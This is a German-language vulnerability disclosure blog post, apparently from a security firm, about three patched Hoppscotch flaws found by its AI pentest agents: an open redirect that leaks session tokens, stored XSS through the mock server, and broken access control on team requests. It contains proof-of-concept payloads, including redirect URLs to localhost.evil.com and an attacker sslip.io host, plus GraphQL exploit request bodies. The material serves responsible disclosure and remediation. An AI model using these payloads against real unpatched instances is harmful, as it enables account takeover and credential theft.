Einleitung
Hoppscotch ist ein Open-Source-Ökosystem für die API-Entwicklung, ähnlich wie Postman, mit über 100.000 Nutzern pro Monat. Vor zwei Wochen haben wir eine selbst gehostete Instanz eingerichtet und unsere KI-Pentest-Agenten darauf laufen lassen. Sie fanden zwei Schwachstellen mit hohem Schweregrad und eine Schwachstelle mit mittlerem Schweregrad, die alle in Versionen bis einschließlich 2026.2.1 vorhanden waren und alle in 2026.3.0 behoben wurden:
- Kontoübernahme über eine offene Weiterleitung, durch die Authentifizierungstoken an eine bösartige Domain weitergeleitet werden können, wodurch sich ein Angreifer als das Opfer ausgeben kann.
- Gespeichertes XSS über den Mock-Server, bei dem über einen Antwort-Header eingeschleustes JavaScript im Kontext der Hoppscotch-Anwendung ausgeführt wird, wodurch ein Angreifer Lese- und Schreibzugriff auf alle Inhalte erhält, die für das Opfer sichtbar sind.
- Eine fehlerhafte Zugriffskontrolle der Weiterleitung von Anfragen, durch die ein Benutzer eines Teams eine Anfrage in die Sammlung eines anderen Teams einschleusen kann. Wenn ein Mitglied des Zielteams diese ausführt, können Anmeldedaten und API-Schlüssel abgezogen werden.
Alle drei wurden im Rahmen der verantwortungsvollen Offenlegung gemeldet und sind inzwischen behoben.
Hinweis: Wir haben versehentlich das XSS-Problem und eine Schwachstelle bei der Zugriffskontrolle in einem Bericht zusammengefasst. Während der Text der Sicherheitsempfehlung das XSS-Problem behandelt, zeigen die Screenshots tatsächlich die Schwachstelle bei der Zugriffskontrolle, was dazu führt, dass zwei Sicherheitsempfehlungen drei unterschiedliche Probleme abdecken.
Behebung
Aktualisieren Sie selbst gehostete Instanzen von Hoppscotch auf Version 2026.3.0 oder höher.
Die entdeckten Sicherheitslücken wurden in die Aikido aufgenommen:
- https://intel.aikido.dev/cve/AIKIDO-2026-10462
- https://intel.aikido.dev/cve/AIKIDO-2026-10463
- https://intel.aikido.dev/cve/AIKIDO-2026-10461
Offene Weiterleitung, die zu einer Kontoübernahme führt
Hinweis: GHSA-7fg7-wx5q-6m3v
CVSS: 8,5 (Hoch)
Affected versions: Hoppscotch <= 2026.2.1
Aktualisierte Versionen: 2026.3.0
Hoppscotch verfügt sowohl über eine Weboberfläche als auch über eine Desktop-Anwendung. Zur Authentifizierung der Desktop-Anwendung wird im Browser eine URL wie die folgende geöffnet:
http://<hoppscotch-instance>/device-login/?redirect_uri=http%3A%2F%2Flocalhost%2Fdevice-token
Die Hoppscotch-Instanz verwendet den Abfrageparameter „redirect_uri“, um die Sitzungstoken zu senden. Genau hier liegt die Sicherheitslücke. Das Backend wies bei der URI folgende fehlerhafte Validierung auf:
if (!redirectUri || !redirectUri.startsWith('http://localhost')) {
throwHTTPErr({
…
})
}
Der Code prüft, ob die URI mit http://localhost, berücksichtigt jedoch nicht, dass bösartige Domains wie http://localhost.evil.com diese Überprüfung ebenfalls bestehen. Wenn ein Opfer also die folgende Seite aufruft:http://<hoppscotch-instance>/device-login/?redirect_uri=http%3A%2F%2Flocalhost.evil.com%2Fdevice-token
Hoppscotch würde seine Sitzungstoken an http://localhost.evil.com. Da localhost ist eine Subdomain des Angreifers evil.com Domain: Anstatt an den lokalen Host zu gehen, wird die Anfrage an den Server des Angreifers weitergeleitet. Dieser könnte die Token dann nutzen, um sich als das Opfer auszugeben.
Unsere Mitarbeiter haben das Problem im Quellcode ausgemacht und dies überprüft, indem sie einen Listener auf einer öffentlichen IP-Adresse eingerichtet und eine Nutzlast erstellt haben, indem sie sslip.io. Durch Verwendung der URI http://localhost.<attacker-ip>.sslip.io/… die Nutzlast umging erfolgreich die „startsWith“-Prüfung und zwang den Browser gleichzeitig dazu, die Adresse auf den Server des Angreifers aufzulösen. Sobald sich das Opfer authentifiziert hatte, wurden die sensiblen Sitzungstoken direkt an unseren Listener übermittelt, was bestätigte, dass eine vollständige Übernahme des Kontos möglich war.
Der folgende Pull-Request hat die Sicherheitslücke durch die Verwendung eines korrekten URL-Parsers behoben: https://github.com/hoppscotch/hoppscotch/pull/6012
Gespeichertes XSS über einen Mock-Server
Advisory: GHSA-wj4r-hr4h-g98v
CVSS: 8.5 (High)
Affected versions: Hoppscotch <= 2026.2.1
Patched versions: 2026.3.0
Hoppscotch verfügt über eine Mock-Server-Funktion, die benutzerdefinierte Antworten von URLs unter /mock/<subdomain>/. Das Backend liefert diese Antworten von derselben Quelle wie die Hoppscotch-Anwendung aus, was bedeutet, dass Cross-Site-Scripting MockServer dazu genutzt werden kann, Benutzerdaten abzugreifen und zu verändern.
Um eine XSS-Nutzlast einzuschleusen, umgingen die Aikido -Agenten die Einschränkungen der Benutzeroberfläche, indem sie eine GraphQL-API-Anfrage sendeten, die die Inhaltstyp Antwort-Header an text/html. Über das Frontend war dies nicht möglich.
Beispiel für den Request-Body:
{
"query": "mutation($id:ID!,$title:String,$request:String){ updateRESTUserRequest(id:$id,title:$title,request:$request){ id title } }",
"variables": {
"id": "<REQUEST_ID>",
"title": "addPet",
"request": "{\"v\":\"16\",... , \"responses\":{\"XSS\":{\"name\":\"XSS\",\"status\":\"OK\",\"code\":200,\"headers\":[{\"key\":\"content-type\",\"value\":\"text/html\",\"active\":true,\"description\":\"\"}],\"body\":\"<img src=x onerror=\\\"console.log(424212069)\\\">\",\"originalRequest\":{\"v\":\"6\",\"name\":\"xss\",\"method\":\"GET\",\"endpoint\":\"<<mockUrl>>/xss\",\"params\":[],\"headers\":[],\"requestVariables\":[]}}}}"
}
}Der XSS-Angriff wird ausgelöst, sobald der Benutzer den Mock-API-Endpunkt aufruft. Beispiel:
http://<hoppscotch-instance>/mock/-v9juLVaiMnJa/v2/pet/findByStatus
Um dies zu testen, fügten KI-Agenten über die GraphQL-API eine „console.log“-Nutzlast in den Antworttext ein und umgingen so die Einschränkungen des UI hinsichtlich des Content-Types. Beim Aufrufen des spezifischen Mock-Endpunkts führte der Browser das Skript aus, und die Agenten konnten die protokollierte Ausgabe erfolgreich in der Konsole erfassen.
Der folgende PR hat die Sicherheitslücke durch die Einführung von Datenbereinigung und Sandboxing mithilfe einer Content Security Policy behoben:
https://github.com/hoppscotch/hoppscotch/pull/6006
Zugriffskontrolle: Anfragen an ein anderes Team weiterleiten
Hinweis: GHSA-wj4r-hr4h-g98v
CVSS: 6,0 (mittel)
Affected versions: Hoppscotch <= 2026.2.1
Aktualisierte Versionen: 2026.3.0
Mit Hoppscotch können Benutzer Anfragen mithilfe der Umzugsantrag GraphQL-Mutation. Die Prüfer stellten fest, dass das Backend die Berechtigungen für die Zielsammlung nicht ordnungsgemäß validierte, wodurch ein Angreifer eigene Anfragen in eine Sammlung „einspeisen“ konnte, die einem anderen Team gehörte.
Die Sicherheitslücke liegt in der Validierungslogik des Backends: Während die ursprüngliche Anfrage überprüft wird, wird die Überprüfung des Zielteams übersprungen, wenn die nextRequestID ist eingestellt auf null. Durch die Bereitstellung der destCollID des Teams des Opfers und das Verlassen des nextRequestID Wenn diese Schwachstelle ausgenutzt wird, kann ein Angreifer eine Anfrage erfolgreich über Mandantengrenzen hinweg weiterleiten:
{
"operationName": "MoveTeamRequest",
"query": "mutation MoveTeamRequest($req: ID!, $dest: ID!, $next: ID) { moveRequest(requestID: $req, destCollID: $dest, nextRequestID: $next) { id collectionID teamID } }",
"variables": {
"req": "<ATTACKER_REQUEST_ID>",
"dest": "<VICTIM_COLLECTION_ID>",
"next": null
}
}
Dies kann zu einer Beeinträchtigung der Vertraulichkeit führen, wenn ein Mitglied des Opferteams unwissentlich die eingeschleuste Anfrage oder die übergeordnete Sammlung ausführt. In diesem Fall könnten sensible Daten auf den Server des Angreifers gelangen, insbesondere bei Anfragen, die Autorisierungsheader erben oder variable Platzhalter enthalten – beispielsweise für API-Schlüssel.
Nachfolgend finden Sie die Protokolle der Agenten, die die Sicherheitslücke identifiziert haben:
Untersuchung der teamID-Beziehungen – Ich frage mich, ob Anfragen zu Sammlungen verschiedener Teams gehören können, ohne dass die teamID geändert wird. Dies könnte gegen die Fremdschlüsselbeschränkung verstoßen, wenn die Sammlung mit einem anderen Team verknüpft ist. Das TeamRequest-Modell verbindet Sammlungen wahrscheinlich über die ID, ohne streng darauf zu achten, dass teamID mit collection.teamID übereinstimmt. In createTeamRequest wird zwar überprüft, ob die Team-ID übereinstimmt. Wenn jedoch beim Verschieben einer Anfrage nur die collectionID aktualisiert wird, ohne die teamID zu ändern, muss ich das Prisma-Schema überprüfen, um zu klären, wie diese Beziehungen strukturiert sind. Suchen wir das Schema im entsprechenden Verzeichnis.
Probleme bei der Zugriffskontrolle erkennen – Mir ist aufgefallen, dass der Guard lediglich prüft, ob ein Benutzer Mitglied des mit der requestID verknüpften Teams ist, und Berechtigungen für das Team der Zielsammlung ignoriert. Die Funktion „moveRequest“ wird durch „GqlRequestTeamMemberGuard“ für Rollen wie „Editor“ oder „Owner“ geschützt, enthält jedoch keine Überprüfungen für „GqlCollectionTeamMemberGuard“ auf „destCollID“. Das bedeutet, dass ein Editor aus Team A eine Anfrage in die Sammlung von Team B verschieben könnte, ohne Mitglied zu sein, was eine schwerwiegende Schwachstelle bei der Zugriffskontrolle darstellt.
Überprüfung der Anforderungsbearbeitung – Ich möchte mein Verständnis von `findRequestAndNextRequest` und `reorderRequests` überprüfen. Bei `findRequestAndNextRequest` wird geprüft, ob die Anfrage in `srcCollID` vorhanden ist. Wenn `nextRequestID` angegeben wird, wird sichergestellt, dass `nextRequest` zur selben Sammlung und zum selben Team gehört. Ist `nextRequestID` jedoch null, wird die Überprüfung der Teamzugehörigkeit von `destCollID` übersprungen.
Bei „reorderRequests“ wird für die src- und dest-Sammlungen eine Sperre nach request.teamID gesetzt. Wenn destCollID jedoch zu einem anderen Team gehört, werden die Aktualisierungen dennoch ohne ordnungsgemäße Teamüberprüfung durchgeführt, was zu Problemen führen könnte.
Der folgende PR hat die Sicherheitslücke durch Hinzufügen einer Autorisierungsprüfung behoben:
https://github.com/hoppscotch/hoppscotch/pull/6006
Dank gebührt TristanInSec, der die XSS-Sicherheitslücke ebenfalls unabhängig entdeckt hatte.
Erfahren Sie mehr über unsere Forschungsarbeiten zu Penetrationstests mit KI:
- SvelteSpill: Ein Cache-Deception-Fehler in SvelteKit + Vercel
- PromptPwnd: Schwachstellen durch Prompt-Injektion in GitHub Actions unter Verwendung von KI-Agenten
Erfahren Sie mehr darüber, wie unsere KI-Penetrationstest-Agenten funktionieren:
– Wie wir unsere KI-Agenten von Grund auf sicher gestalten
– Wie autonomes Penetrationstesting zu manuellen Penetrationstests autonomes Penetrationstesting
